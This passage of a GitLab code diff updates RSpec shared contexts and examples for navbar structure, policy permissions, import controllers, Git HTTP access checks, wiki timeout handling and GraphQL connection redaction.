+
+ sign_in(user)
+ end
+end
+
+RSpec.shared_context 'closed merge request show action' do
include Devise::Test::ControllerHelpers
include ProjectForksHelper
+ include Spec::Support::Helpers::Features::MergeRequestHelpers
let(:user) { create(:user) }
let(:project) { create(:project, :public, :repository) }
@@ -17,13 +44,6 @@ RSpec.shared_context 'merge request show action' do
author: user)
end
- def preload_view_requirements
- # This will load the status fields of the author of the note and merge request
- # to avoid queries in when rendering the view being tested.
- closed_merge_request.author.status
- note.author.status
- end
-
before do
assign(:project, project)
assign(:merge_request, closed_merge_request)
@@ -34,16 +54,10 @@ RSpec.shared_context 'merge request show action' do
assign(:pipelines, Ci::Pipeline.none)
assign(:issuable_sidebar, serialize_issuable_sidebar(user, project, closed_merge_request))
- preload_view_requirements
+ preload_view_requirements(closed_merge_request, note)
allow(view).to receive_messages(current_user: user,
can?: true,
current_application_settings: Gitlab::CurrentSettings.current_application_settings)
end
-
- def serialize_issuable_sidebar(user, project, merge_request)
- MergeRequestSerializer
- .new(current_user: user, project: project)
- .represent(closed_merge_request, serializer: 'sidebar')
- end
end
diff --git a/spec/support/shared_contexts/lib/gitlab/middleware/with_a_mocked_gitlab_instance_shared_context.rb b/spec/support/shared_contexts/lib/gitlab/middleware/with_a_mocked_gitlab_instance_shared_context.rb
index 3830b89f1ff..5d65c168d8d 100644
--- a/spec/support/shared_contexts/lib/gitlab/middleware/with_a_mocked_gitlab_instance_shared_context.rb
+++ b/spec/support/shared_contexts/lib/gitlab/middleware/with_a_mocked_gitlab_instance_shared_context.rb
@@ -25,7 +25,7 @@ RSpec.shared_context 'with a mocked GitLab instance' do
let(:request) { Rack::MockRequest.new(rack_stack) }
subject do
- described_class.new(fake_app).tap do |app|
+ Gitlab::Middleware::ReadOnly.new(fake_app).tap do |app|
app.extend(observe_env)
end
end
diff --git a/spec/support/shared_contexts/navbar_structure_context.rb b/spec/support/shared_contexts/navbar_structure_context.rb
index ed74c3f179f..549dc1cff1d 100644
--- a/spec/support/shared_contexts/navbar_structure_context.rb
+++ b/spec/support/shared_contexts/navbar_structure_context.rb
@@ -14,6 +14,15 @@ RSpec.shared_context 'project navbar structure' do
}
end
+ let(:security_and_compliance_nav_item) do
+ {
+ nav_item: _('Security & Compliance'),
+ nav_sub_items: [
+ _('Audit Events')
+ ]
+ }
+ end
+
let(:structure) do
[
{
@@ -62,6 +71,7 @@ RSpec.shared_context 'project navbar structure' do
_('Schedules')
]
},
+ (security_and_compliance_nav_item if Gitlab.ee?),
{
nav_item: _('Operations'),
nav_sub_items: [
@@ -101,8 +111,7 @@ RSpec.shared_context 'project navbar structure' do
_('Access Tokens'),
_('Repository'),
_('CI / CD'),
- _('Operations'),
- (_('Audit Events') if Gitlab.ee?)
+ _('Operations')
].compact
}
].compact
@@ -128,8 +137,7 @@ RSpec.shared_context 'group navbar structure' do
_('Projects'),
_('Repository'),
_('CI / CD'),
- _('Webhooks'),
- _('Audit Events')
+ _('Webhooks')
]
}
end
@@ -143,6 +151,15 @@ RSpec.shared_context 'group navbar structure' do
}
end
+ let(:security_and_compliance_nav_item) do
+ {
+ nav_item: _('Security & Compliance'),
+ nav_sub_items: [
+ _('Audit Events')
+ ]
+ }
+ end
+
let(:push_rules_nav_item) do
{
nav_item: _('Push Rules'),
@@ -172,6 +189,7 @@ RSpec.shared_context 'group navbar structure' do
nav_item: _('Merge Requests'),
nav_sub_items: []
},
+ (security_and_compliance_nav_item if Gitlab.ee?),
(push_rules_nav_item if Gitlab.ee?),
{
nav_item: _('Kubernetes'),
diff --git a/spec/support/shared_contexts/policies/group_policy_shared_context.rb b/spec/support/shared_contexts/policies/group_policy_shared_context.rb
index af46e5474b0..e0e2a18cdd2 100644
--- a/spec/support/shared_contexts/policies/group_policy_shared_context.rb
+++ b/spec/support/shared_contexts/policies/group_policy_shared_context.rb
@@ -30,6 +30,7 @@ RSpec.shared_context 'GroupPolicy context' do
let(:owner_permissions) do
[
+ :owner_access,
:admin_group,
:admin_namespace,
:admin_group_member,
diff --git a/spec/support/shared_contexts/services_shared_context.rb b/spec/support/shared_contexts/services_shared_context.rb
index 2bd516a2339..320f7564cf9 100644
--- a/spec/support/shared_contexts/services_shared_context.rb
+++ b/spec/support/shared_contexts/services_shared_context.rb
@@ -16,6 +16,8 @@ Service.available_services_names.each do |service|
hash.merge!(k => 'secrettoken')
elsif service == 'confluence' && k == :confluence_url
hash.merge!(k => 'https://example.atlassian.net/wiki')
+ elsif service == 'datadog' && k == :datadog_site
+ hash.merge!(k => 'datadoghq.com')
elsif k =~ /^(.*_url|url|webhook)/
hash.merge!(k => "http://example.com")
elsif service_klass.method_defined?("#{k}?")
@@ -34,8 +36,7 @@ Service.available_services_names.each do |service|
let(:licensed_features) do
{
- 'github' => :github_project_service_integration,
- 'jenkins' => :jenkins_integration
+ 'github' => :github_project_service_integration
}
end
diff --git a/spec/support/shared_examples/boards/multiple_issue_boards_shared_examples.rb b/spec/support/shared_examples/boards/multiple_issue_boards_shared_examples.rb
index 38a5ed244c4..f89d52f81ad 100644
--- a/spec/support/shared_examples/boards/multiple_issue_boards_shared_examples.rb
+++ b/spec/support/shared_examples/boards/multiple_issue_boards_shared_examples.rb
@@ -85,7 +85,7 @@ RSpec.shared_examples 'multiple issue boards' do
wait_for_requests
- expect(page).to have_selector('.board', count: 5)
+ expect(page).to have_selector('.board', count: 3)
in_boards_switcher_dropdown do
click_link board.name
@@ -93,7 +93,7 @@ RSpec.shared_examples 'multiple issue boards' do
wait_for_requests
- expect(page).to have_selector('.board', count: 4)
+ expect(page).to have_selector('.board', count: 2)
end
it 'maintains sidebar state over board switch' do
diff --git a/spec/support/shared_examples/controllers/githubish_import_controller_shared_examples.rb b/spec/support/shared_examples/controllers/githubish_import_controller_shared_examples.rb
index 5a4322f73b6..422282da4d8 100644
--- a/spec/support/shared_examples/controllers/githubish_import_controller_shared_examples.rb
+++ b/spec/support/shared_examples/controllers/githubish_import_controller_shared_examples.rb
@@ -219,7 +219,7 @@ RSpec.shared_examples 'a GitHub-ish import controller: POST create' do
it 'returns 200 response when the project is imported successfully' do
allow(Gitlab::LegacyGithubImport::ProjectCreator)
- .to receive(:new).with(provider_repo, provider_repo.name, user.namespace, user, access_params, type: provider)
+ .to receive(:new).with(provider_repo, provider_repo.name, user.namespace, user, type: provider, **access_params)
.and_return(double(execute: project))
post :create, format: :json
@@ -233,7 +233,7 @@ RSpec.shared_examples 'a GitHub-ish import controller: POST create' do
project.errors.add(:path, 'is old')
allow(Gitlab::LegacyGithubImport::ProjectCreator)
- .to receive(:new).with(provider_repo, provider_repo.name, user.namespace, user, access_params, type: provider)
+ .to receive(:new).with(provider_repo, provider_repo.name, user.namespace, user, type: provider, **access_params)
.and_return(double(execute: project))
post :create, format: :json
@@ -244,7 +244,7 @@ RSpec.shared_examples 'a GitHub-ish import controller: POST create' do
it "touches the etag cache store" do
allow(Gitlab::LegacyGithubImport::ProjectCreator)
- .to receive(:new).with(provider_repo, provider_repo.name, user.namespace, user, access_params, type: provider)
+ .to receive(:new).with(provider_repo, provider_repo.name, user.namespace, user, type: provider, **access_params)
.and_return(double(execute: project))
expect_next_instance_of(Gitlab::EtagCaching::Store) do |store|
expect(store).to receive(:touch) { "realtime_changes_import_#{provider}_path" }
@@ -257,7 +257,7 @@ RSpec.shared_examples 'a GitHub-ish import controller: POST create' do
context "when the provider user and GitLab user's usernames match" do
it "takes the current user's namespace" do
expect(Gitlab::LegacyGithubImport::ProjectCreator)
- .to receive(:new).with(provider_repo, provider_repo.name, user.namespace, user, access_params, type: provider)
+ .to receive(:new).with(provider_repo, provider_repo.name, user.namespace, user, type: provider, **access_params)
.and_return(double(execute: project))
post :create, format: :json
@@ -269,7 +269,7 @@ RSpec.shared_examples 'a GitHub-ish import controller: POST create' do
it "takes the current user's namespace" do
expect(Gitlab::LegacyGithubImport::ProjectCreator)
- .to receive(:new).with(provider_repo, provider_repo.name, user.namespace, user, access_params, type: provider)
+ .to receive(:new).with(provider_repo, provider_repo.name, user.namespace, user, type: provider, **access_params)
.and_return(double(execute: project))
post :create, format: :json
@@ -296,7 +296,7 @@ RSpec.shared_examples 'a GitHub-ish import controller: POST create' do
it "takes the existing namespace" do
expect(Gitlab::LegacyGithubImport::ProjectCreator)
- .to receive(:new).with(provider_repo, provider_repo.name, existing_namespace, user, access_params, type: provider)
+ .to receive(:new).with(provider_repo, provider_repo.name, existing_namespace, user, type: provider, **access_params)
.and_return(double(execute: project))
post :create, format: :json
@@ -308,7 +308,7 @@ RSpec.shared_examples 'a GitHub-ish import controller: POST create' do
create(:user, username: other_username)
expect(Gitlab::LegacyGithubImport::ProjectCreator)
- .to receive(:new).with(provider_repo, provider_repo.name, user.namespace, user, access_params, type: provider)
+ .to receive(:new).with(provider_repo, provider_repo.name, user.namespace, user, type: provider, **access_params)
.and_return(double(execute: project))
post :create, format: :json
@@ -327,7 +327,7 @@ RSpec.shared_examples 'a GitHub-ish import controller: POST create' do
it "takes the new namespace" do
expect(Gitlab::LegacyGithubImport::ProjectCreator)
- .to receive(:new).with(provider_repo, provider_repo.name, an_instance_of(Group), user, access_params, type: provider)
+ .to receive(:new).with(provider_repo, provider_repo.name, an_instance_of(Group), user, type: provider, **access_params)
.and_return(double(execute: project))
post :create, params: { target_namespace: provider_repo.name }, format: :json
@@ -348,7 +348,7 @@ RSpec.shared_examples 'a GitHub-ish import controller: POST create' do
it "takes the current user's namespace" do
expect(Gitlab::LegacyGithubImport::ProjectCreator)
- .to receive(:new).with(provider_repo, provider_repo.name, user.namespace, user, access_params, type: provider)
+ .to receive(:new).with(provider_repo, provider_repo.name, user.namespace, user, type: provider, **access_params)
.and_return(double(execute: project))
post :create, format: :json
@@ -366,7 +366,7 @@ RSpec.shared_examples 'a GitHub-ish import controller: POST create' do
it 'takes the selected namespace and name' do
expect(Gitlab::LegacyGithubImport::ProjectCreator)
- .to receive(:new).with(provider_repo, test_name, test_namespace, user, access_params, type: provider)
+ .to receive(:new).with(provider_repo, test_name, test_namespace, user, type: provider, **access_params)
.and_return(double(execute: project))
post :create, params: { target_namespace: test_namespace.name, new_name: test_name }, format: :json
@@ -374,7 +374,7 @@ RSpec.shared_examples 'a GitHub-ish import controller: POST create' do
it 'takes the selected name and default namespace' do
expect(Gitlab::LegacyGithubImport::ProjectCreator)
- .to receive(:new).with(provider_repo, test_name, user.namespace, user, access_params, type: provider)
+ .to receive(:new).with(provider_repo, test_name, user.namespace, user, type: provider, **access_params)
.and_return(double(execute: project))
post :create, params: { new_name: test_name }, format: :json
@@ -393,7 +393,7 @@ RSpec.shared_examples 'a GitHub-ish import controller: POST create' do
it 'takes the selected namespace and name' do
expect(Gitlab::LegacyGithubImport::ProjectCreator)
- .to receive(:new).with(provider_repo, test_name, nested_namespace, user, access_params, type: provider)
+ .to receive(:new).with(provider_repo, test_name, nested_namespace, user, type: provider, **access_params)
.and_return(double(execute: project))
post :create, params: { target_namespace: nested_namespace.full_path, new_name: test_name }, format: :json
@@ -405,7 +405,7 @@ RSpec.shared_examples 'a GitHub-ish import controller: POST create' do
it 'takes the selected namespace and name' do
expect(Gitlab::LegacyGithubImport::ProjectCreator)
- .to receive(:new).with(provider_repo, test_name, kind_of(Namespace), user, access_params, type: provider)
+ .to receive(:new).with(provider_repo, test_name, kind_of(Namespace), user, type: provider, **access_params)
.and_return(double(execute: project))
post :create, params: { target_namespace: 'foo/bar', new_name: test_name }, format: :json
@@ -413,7 +413,7 @@ RSpec.shared_examples 'a GitHub-ish import controller: POST create' do
it 'creates the namespaces' do
allow(Gitlab::LegacyGithubImport::ProjectCreator)
- .to receive(:new).with(provider_repo, test_name, kind_of(Namespace), user, access_params, type: provider)
+ .to receive(:new).with(provider_repo, test_name, kind_of(Namespace), user, type: provider, **access_params)
.and_return(double(execute: project))
expect { post :create, params: { target_namespace: 'foo/bar', new_name: test_name }, format: :json }
@@ -422,7 +422,7 @@ RSpec.shared_examples 'a GitHub-ish import controller: POST create' do
it 'new namespace has the right parent' do
allow(Gitlab::LegacyGithubImport::ProjectCreator)
- .to receive(:new).with(provider_repo, test_name, kind_of(Namespace), user, access_params, type: provider)
+ .to receive(:new).with(provider_repo, test_name, kind_of(Namespace), user, type: provider, **access_params)
.and_return(double(execute: project))
post :create, params: { target_namespace: 'foo/bar', new_name: test_name }, format: :json
@@ -441,7 +441,7 @@ RSpec.shared_examples 'a GitHub-ish import controller: POST create' do
it 'takes the selected namespace and name' do
expect(Gitlab::LegacyGithubImport::ProjectCreator)
- .to receive(:new).with(provider_repo, test_name, kind_of(Namespace), user, access_params, type: provider)
+ .to receive(:new).with(provider_repo, test_name, kind_of(Namespace), user, type: provider, **access_params)
.and_return(double(execute: project))
post :create, params: { target_namespace: 'foo/foobar/bar', new_name: test_name }, format: :json
@@ -449,7 +449,7 @@ RSpec.shared_examples 'a GitHub-ish import controller: POST create' do
it 'creates the namespaces' do
allow(Gitlab::LegacyGithubImport::ProjectCreator)
- .to receive(:new).with(provider_repo, test_name, kind_of(Namespace), user, access_params, type: provider)
+ .to receive(:new).with(provider_repo, test_name, kind_of(Namespace), user, type: provider, **access_params)
.and_return(double(execute: project))
expect { post :create, params: { target_namespace: 'foo/foobar/bar', new_name: test_name }, format: :json }
@@ -458,7 +458,7 @@ RSpec.shared_examples 'a GitHub-ish import controller: POST create' do
it 'does not create a new namespace under the user namespace' do
expect(Gitlab::LegacyGithubImport::ProjectCreator)
- .to receive(:new).with(provider_repo, test_name, user.namespace, user, access_params, type: provider)
+ .to receive(:new).with(provider_repo, test_name, user.namespace, user, type: provider, **access_params)
.and_return(double(execute: project))
expect { post :create, params: { target_namespace: "#{user.namespace_path}/test_group", new_name: test_name }, format: :js }
@@ -472,7 +472,7 @@ RSpec.shared_examples 'a GitHub-ish import controller: POST create' do
it 'does not take the selected namespace and name' do
expect(Gitlab::LegacyGithubImport::ProjectCreator)
- .to receive(:new).with(provider_repo, test_name, user.namespace, user, access_params, type: provider)
+ .to receive(:new).with(provider_repo, test_name, user.namespace, user, type: provider, **access_params)
.and_return(double(execute: project))
post :create, params: { target_namespace: 'foo/foobar/bar', new_name: test_name }, format: :js
@@ -480,7 +480,7 @@ RSpec.shared_examples 'a GitHub-ish import controller: POST create' do
it 'does not create the namespaces' do
allow(Gitlab::LegacyGithubImport::ProjectCreator)
- .to receive(:new).with(provider_repo, test_name, kind_of(Namespace), user, access_params, type: provider)
+ .to receive(:new).with(provider_repo, test_name, kind_of(Namespace), user, type: provider, **access_params)
.and_return(double(execute: project))
expect { post :create, params: { target_namespace: 'foo/foobar/bar', new_name: test_name }, format: :js }
@@ -497,7 +497,7 @@ RSpec.shared_examples 'a GitHub-ish import controller: POST create' do
user.update!(can_create_group: false)
expect(Gitlab::LegacyGithubImport::ProjectCreator)
- .to receive(:new).with(provider_repo, test_name, group, user, access_params, type: provider)
+ .to receive(:new).with(provider_repo, test_name, group, user, type: provider, **access_params)
.and_return(double(execute: project))
post :create, params: { target_namespace: 'foo', new_name: test_name }, format: :js
diff --git a/spec/support/shared_examples/controllers/repositories/git_http_controller_shared_examples.rb b/spec/support/shared_examples/controllers/repositories/git_http_controller_shared_examples.rb
new file mode 100644
index 00000000000..9b738a4b002
--- /dev/null
+++ b/spec/support/shared_examples/controllers/repositories/git_http_controller_shared_examples.rb
@@ -0,0 +1,117 @@
+# frozen_string_literal: true
+
+RSpec.shared_examples Repositories::GitHttpController do
+ include GitHttpHelpers
+
+ let(:repository_path) { "#{container.full_path}.git" }
+ let(:params) { { repository_path: repository_path } }
+
+ describe 'HEAD #info_refs' do
+ it 'returns 403' do
+ head :info_refs, params: params
+
+ expect(response).to have_gitlab_http_status(:forbidden)
+ end
+ end
+
+ describe 'GET #info_refs' do
+ let(:params) { super().merge(service: 'git-upload-pack') }
+
+ it 'returns 401 for unauthenticated requests to public repositories when http protocol is disabled' do
+ stub_application_setting(enabled_git_access_protocol: 'ssh')
+ allow(controller).to receive(:basic_auth_provided?).and_call_original
+
+ expect(controller).to receive(:http_download_allowed?).and_call_original
+
+ get :info_refs, params: params
+
+ expect(response).to have_gitlab_http_status(:unauthorized)
+ end
+
+ it 'calls the right access checker class with the right object' do
+ allow(controller).to receive(:verify_workhorse_api!).and_return(true)
+
+ access_double = double
+ options = {
+ authentication_abilities: [:download_code],
+ repository_path: repository_path,
+ redirected_path: nil,
+ auth_result_type: :none
+ }
+
+ expect(access_checker_class).to receive(:new)
+ .with(nil, container, 'http', hash_including(options))
+ .and_return(access_double)
+
+ allow(access_double).to receive(:check).and_return(false)
+
+ get :info_refs, params: params
+ end
+
+ context 'with authorized user' do
+ before do
+ request.headers.merge! auth_env(user.username, user.password, nil)
+ end
+
+ it 'returns 200' do
+ get :info_refs, params: params
+
+ expect(response).to have_gitlab_http_status(:ok)
+ end
+
+ it 'updates the user activity' do
+ expect_next_instance_of(Users::ActivityService) do |activity_service|
+ expect(activity_service).to receive(:execute)
+ end
+
+ get :info_refs, params: params
+ end
+
+ include_context 'parsed logs' do
+ it 'adds user info to the logs' do
+ get :info_refs, params: params
+
+ expect(log_data).to include('username' => user.username,
+ 'user_id' => user.id,
+ 'meta.user' => user.username)
+ end
+ end
+ end
+
+ context 'with exceptions' do
+ before do
+ allow(controller).to receive(:authenticate_user).and_return(true)
+ allow(controller).to receive(:verify_workhorse_api!).and_return(true)
+ end
+
+ it 'returns 503 with GRPC Unavailable' do
+ allow(controller).to receive(:access_check).and_raise(GRPC::Unavailable)
+
+ get :info_refs, params: params
+
+ expect(response).to have_gitlab_http_status(:service_unavailable)
+ end
+
+ it 'returns 503 with timeout error' do
+ allow(controller).to receive(:access_check).and_raise(Gitlab::GitAccess::TimeoutError)
+
+ get :info_refs, params: params
+
+ expect(response).to have_gitlab_http_status(:service_unavailable)
+ expect(response.body).to eq 'Gitlab::GitAccess::TimeoutError'
+ end
+ end
+ end
+
+ describe 'POST #git_upload_pack' do
+ before do
+ allow(controller).to receive(:verify_workhorse_api!).and_return(true)
+ end
+
+ it 'returns 200' do
+ post :git_upload_pack, params: params
+
+ expect(response).to have_gitlab_http_status(:ok)
+ end
+ end
+end
diff --git a/spec/support/shared_examples/controllers/wiki_actions_shared_examples.rb b/spec/support/shared_examples/controllers/wiki_actions_shared_examples.rb
index a6ad8fc594c..dcbf494186a 100644
--- a/spec/support/shared_examples/controllers/wiki_actions_shared_examples.rb
+++ b/spec/support/shared_examples/controllers/wiki_actions_shared_examples.rb
@@ -14,6 +14,22 @@ RSpec.shared_examples 'wiki controller actions' do
sign_in(user)
end
+ shared_examples 'recovers from git timeout' do
+ let(:method_name) { :page }
+
+ context 'when we encounter git command errors' do
+ it 'renders the appropriate template', :aggregate_failures do
+ expect(controller).to receive(method_name) do
+ raise ::Gitlab::Git::CommandTimedOut, 'Deadline Exceeded'
+ end
+
+ request
+
+ expect(response).to render_template('shared/wikis/git_error')
+ end
+ end
+ end
+
describe 'GET #new' do
subject(:request) { get :new, params: routing_params }
@@ -48,6 +64,12 @@ RSpec.shared_examples 'wiki controller actions' do
get :pages, params: routing_params.merge(id: wiki_title)
end
+ it_behaves_like 'recovers from git timeout' do
+ subject(:request) { get :pages, params: routing_params.merge(id: wiki_title) }
+
+ let(:method_name) { :wiki_pages }
+ end
+
it 'assigns the page collections' do
expect(assigns(:wiki_pages)).to contain_exactly(an_instance_of(WikiPage))
expect(assigns(:wiki_entries)).to contain_exactly(an_instance_of(WikiPage))
@@ -99,6 +121,12 @@ RSpec.shared_examples 'wiki controller actions' do
end
end
+ it_behaves_like 'recovers from git timeout' do
+ subject(:request) { get :history, params: routing_params.merge(id: wiki_title) }
+
+ let(:allow_read_wiki) { true }
+ end
+
it_behaves_like 'fetching history', :ok do
let(:allow_read_wiki) { true }
@@ -139,6 +167,10 @@ RSpec.shared_examples 'wiki controller actions' do
expect(response).to have_gitlab_http_status(:not_found)
end
end
+
+ it_behaves_like 'recovers from git timeout' do
+ subject(:request) { get :diff, params: routing_params.merge(id: wiki_title, version_id: wiki.repository.commit.id) }
+ end
end
describe 'GET #show' do
@@ -151,6 +183,8 @@ RSpec.shared_examples 'wiki controller actions' do
context 'when page exists' do
let(:id) { wiki_title }
+ it_behaves_like 'recovers from git timeout'
+
it 'renders the page' do
request
@@ -161,6 +195,28 @@ RSpec.shared_examples 'wiki controller actions' do
expect(assigns(:sidebar_limited)).to be(false)
end
+ context 'the sidebar fails to load' do
+ before do
+ allow(Wiki).to receive(:for_container).and_return(wiki)
+ wiki.wiki
+ expect(wiki).to receive(:find_sidebar) do
+ raise ::Gitlab::Git::CommandTimedOut, 'Deadline Exceeded'
+ end
+ end
+
+ it 'renders the page, and marks the sidebar as failed' do
+ request
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(response).to render_template('shared/wikis/_sidebar')
+ expect(assigns(:page).title).to eq(wiki_title)
+ expect(assigns(:sidebar_page)).to be_nil
+ expect(assigns(:sidebar_wiki_entries)).to be_nil
+ expect(assigns(:sidebar_limited)).to be_nil
+ expect(assigns(:sidebar_error)).to be_a_kind_of(::Gitlab::Git::CommandError)
+ end
+ end
+
context 'page view tracking' do
it_behaves_like 'tracking unique hll events', :track_unique_wiki_page_views do
let(:target_id) { 'wiki_action' }
@@ -308,6 +364,7 @@ RSpec.shared_examples 'wiki controller actions' do
subject(:request) { get(:edit, params: routing_params.merge(id: id_param)) }
it_behaves_like 'edit action'
+ it_behaves_like 'recovers from git timeout'
context 'when page content encoding is valid' do
render_views
@@ -447,6 +504,17 @@ RSpec.shared_examples 'wiki controller actions' do
end
end
+ describe '#git_access' do
+ render_views
+
+ it 'renders the git access page' do
+ get :git_access, params: routing_params
+
+ expect(response).to render_template('shared/wikis/git_access')
+ expect(response.body).to include(wiki.http_url_to_repo)
+ end
+ end
+
def redirect_to_wiki(wiki, page)
redirect_to(controller.wiki_page_path(wiki, page))
end
diff --git a/spec/support/shared_examples/features/issuable_invite_members_shared_examples.rb b/spec/support/shared_examples/features/issuable_invite_members_shared_examples.rb
index ac1cc2da7e3..3fec1a56c0c 100644
--- a/spec/support/shared_examples/features/issuable_invite_members_shared_examples.rb
+++ b/spec/support/shared_examples/features/issuable_invite_members_shared_examples.rb
@@ -3,7 +3,7 @@
RSpec.shared_examples 'issuable invite members experiments' do
context 'when invite_members_version_a experiment is enabled' do
before do
- stub_experiment_for_user(invite_members_version_a: true)
+ stub_experiment_for_subject(invite_members_version_a: true)
end
it 'shows a link for inviting members and follows through to the members page' do
@@ -28,7 +28,7 @@ RSpec.shared_examples 'issuable invite members experiments' do
context 'when invite_members_version_b experiment is enabled' do
before do
- stub_experiment_for_user(invite_members_version_b: true)
+ stub_experiment_for_subject(invite_members_version_b: true)
end
it 'shows a link for inviting members and follows through to modal' do
diff --git a/spec/support/shared_examples/features/master_manages_access_requests_shared_example.rb b/spec/support/shared_examples/features/master_manages_access_requests_shared_example.rb
index 724d6db2705..1dbaace1c89 100644
--- a/spec/support/shared_examples/features/master_manages_access_requests_shared_example.rb
+++ b/spec/support/shared_examples/features/master_manages_access_requests_shared_example.rb
@@ -50,7 +50,6 @@ RSpec.shared_examples 'Maintainer manages access requests' do
def expect_visible_access_request(entity, user)
if has_tabs
expect(page).to have_content "Access requests 1"
- expect(page).to have_content "Users requesting access to #{entity.name}"
else
expect(page).to have_content "Users requesting access to #{entity.name} 1"
end
diff --git a/spec/support/shared_examples/features/reportable_note_shared_examples.rb b/spec/support/shared_examples/features/reportable_note_shared_examples.rb
index bdaa375721f..288e1df9b2a 100644
--- a/spec/support/shared_examples/features/reportable_note_shared_examples.rb
+++ b/spec/support/shared_examples/features/reportable_note_shared_examples.rb
@@ -29,7 +29,7 @@ RSpec.shared_examples 'reportable note' do |type|
end
end
- it 'Report button links to a report page' do
+ it 'report button links to a report page' do
dropdown = comment.find(more_actions_selector)
open_dropdown(dropdown)
diff --git a/spec/support/shared_examples/features/wiki/user_git_access_wiki_page_shared_examples.rb b/spec/support/shared_examples/features/wiki/user_git_access_wiki_page_shared_examples.rb
new file mode 100644
index 00000000000..d3d2a36147d
--- /dev/null
+++ b/spec/support/shared_examples/features/wiki/user_git_access_wiki_page_shared_examples.rb
@@ -0,0 +1,27 @@
+# frozen_string_literal: true
+
+RSpec.shared_examples 'User views Git access wiki page' do
+ let(:wiki_page) { create(:wiki_page, wiki: wiki) }
+
+ before do
+ sign_in(user)
+ end
+
+ it 'shows the correct clone URLs', :js do
+ visit wiki_page_path(wiki, wiki_page)
+ click_link 'Clone repository'
+
+ expect(page).to have_text("Clone repository #{wiki.full_path}")
+
+ within('.git-clone-holder') do
+ expect(page).to have_css('#clone-dropdown', text: 'HTTP')
+ expect(page).to have_field('clone_url', with: wiki.http_url_to_repo)
+
+ click_link 'HTTP' # open the dropdown
+ click_link 'SSH' # select the dropdown item
+
+ expect(page).to have_css('#clone-dropdown', text: 'SSH')
+ expect(page).to have_field('clone_url', with: wiki.ssh_url_to_repo)
+ end
+ end
+end
diff --git a/spec/support/shared_examples/features/wiki/user_uses_wiki_shortcuts_shared_examples.rb b/spec/support/shared_examples/features/wiki/user_uses_wiki_shortcuts_shared_examples.rb
index 0330b345a18..759cfaf6b1f 100644
--- a/spec/support/shared_examples/features/wiki/user_uses_wiki_shortcuts_shared_examples.rb
+++ b/spec/support/shared_examples/features/wiki/user_uses_wiki_shortcuts_shared_examples.rb
@@ -12,7 +12,7 @@ RSpec.shared_examples 'User uses wiki shortcuts' do
visit wiki_page_path(wiki, wiki_page)
end
- it 'Visit edit wiki page using "e" keyboard shortcut', :js do
+ it 'visit edit wiki page using "e" keyboard shortcut', :js do
find('body').native.send_key('e')
expect(find('.wiki-page-title')).to have_content('Edit Page')
diff --git a/spec/support/shared_examples/graphql/connection_redaction_shared_examples.rb b/spec/support/shared_examples/graphql/connection_redaction_shared_examples.rb
new file mode 100644
index 00000000000..12a7b3fe414
--- /dev/null
+++ b/spec/support/shared_examples/graphql/connection_redaction_shared_examples.rb
@@ -0,0 +1,54 @@
+# frozen_string_literal: true
+
+# requires:
+# - `connection` (no-empty, containing `unwanted` and at least one more item)
+# - `unwanted` (single item in collection)
+RSpec.shared_examples 'a redactable connection' do
+ context 'no redactor set' do
+ it 'contains the unwanted item' do
+ expect(connection.nodes).to include(unwanted)
+ end
+
+ it 'does not redact more than once' do
+ connection.nodes
+ r_state = connection.send(:redaction_state)
+
+ expect(r_state.redacted { raise 'Should not be called!' }).to be_present
+ end
+ end
+
+ let_it_be(:constant_redactor) do
+ Class.new do
+ def initialize(remove)
+ @remove = remove
+ end
+
+ def redact(items)
+ items - @remove
+ end
+ end
+ end
+
+ context 'redactor is set' do
+ let(:redactor) do
+ constant_redactor.new([unwanted])
+ end
+
+ before do
+ connection.redactor = redactor
+ end
+
+ it 'does not contain the unwanted item' do
+ expect(connection.nodes).not_to include(unwanted)
+ expect(connection.nodes).not_to be_empty
+ end
+
+ it 'does not redact more than once' do
+ expect(redactor).to receive(:redact).once.and_call_original
+
+ connection.nodes
+ connection.nodes
+ connection.nodes
+ end
+ end
+end
diff --git a/spec/support/shared_examples/graphql/connection_shared_examples.rb b/spec/support/shared_examples/graphql/connection_shared_examples.rb
new file mode 100644
index 00000000000..4cba5b5a69d
--- /dev/null
+++ b/spec/support/shared_examples/graphql/connection_shared_examples.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+RSpec.shared_examples 'a connection with collection methods' do
+ %i[to_a size include? empty?].each do |method_name|
+ it "responds to #{method_name}" do
+ expect(connection).to respond_to(method_name)
+ end
+ end
+end
diff --git a/spec/support/shared_examples/graphql/design_fields_shared_examples.rb b/spec/support/shared_examples/graphql/design_fields_shared_examples.rb
index ef7086234c4..9c2eb3e5a5c 100644
--- a/spec/support/shared_examples/graphql/design_fields_shared_examples.rb
+++ b/spec/support/shared_examples/graphql/design_fields_shared_examples.rb
@@ -26,27 +26,35 @@ RSpec.shared_examples 'a GraphQL type with design fields' do
end
describe '#image' do
+ let_it_be(:current_user) { create(:user) }
let(:schema) { GitlabSchema }
let(:query) { GraphQL::Query.new(schema) }
- let(:context) { double('Context', schema: schema, query: query, parent: nil) }
+ let(:context) { query.context }
let(:field) { described_class.fields['image'] }
let(:args) { GraphQL::Query::Arguments::NO_ARGS }
- let(:instance) do
+ let(:instance) { instantiate(object_id) }
+ let(:instance_b) { instantiate(object_id_b) }
+
+ def instantiate(object_id)
object = GitlabSchema.sync_lazy(GitlabSchema.object_from_id(object_id))
object_type.authorized_new(object, query.context)
end
- let(:instance_b) do
- object_b = GitlabSchema.sync_lazy(GitlabSchema.object_from_id(object_id_b))
- object_type.authorized_new(object_b, query.context)
+ def resolve_image(instance)
+ field.resolve_field(instance, args, context)
+ end
+
+ before do
+ context[:current_user] = current_user
+ allow(Ability).to receive(:allowed?).with(current_user, :read_design, anything).and_return(true)
+ allow(context).to receive(:parent).and_return(nil)
end
it 'resolves to the design image URL' do
- image = field.resolve_field(instance, args, context)
sha = design.versions.first.sha
url = ::Gitlab::Routing.url_helpers.project_design_management_designs_raw_image_url(design.project, design, sha)
- expect(image).to eq(url)
+ expect(resolve_image(instance)).to eq(url)
end
it 'has better than O(N) peformance', :request_store do
@@ -68,10 +76,10 @@ RSpec.shared_examples 'a GraphQL type with design fields' do
# = 10
expect(instance).not_to eq(instance_b) # preload designs themselves.
expect do
- image_a = field.resolve_field(instance, args, context)
- image_b = field.resolve_field(instance, args, context)
- image_c = field.resolve_field(instance_b, args, context)
- image_d = field.resolve_field(instance_b, args, context)
+ image_a = resolve_image(instance)
+ image_b = resolve_image(instance)
+ image_c = resolve_image(instance_b)
+ image_d = resolve_image(instance_b)
expect(image_a).to eq(image_b)
expect(image_c).not_to eq(image_b)
expect(image_c).to eq(image_d)
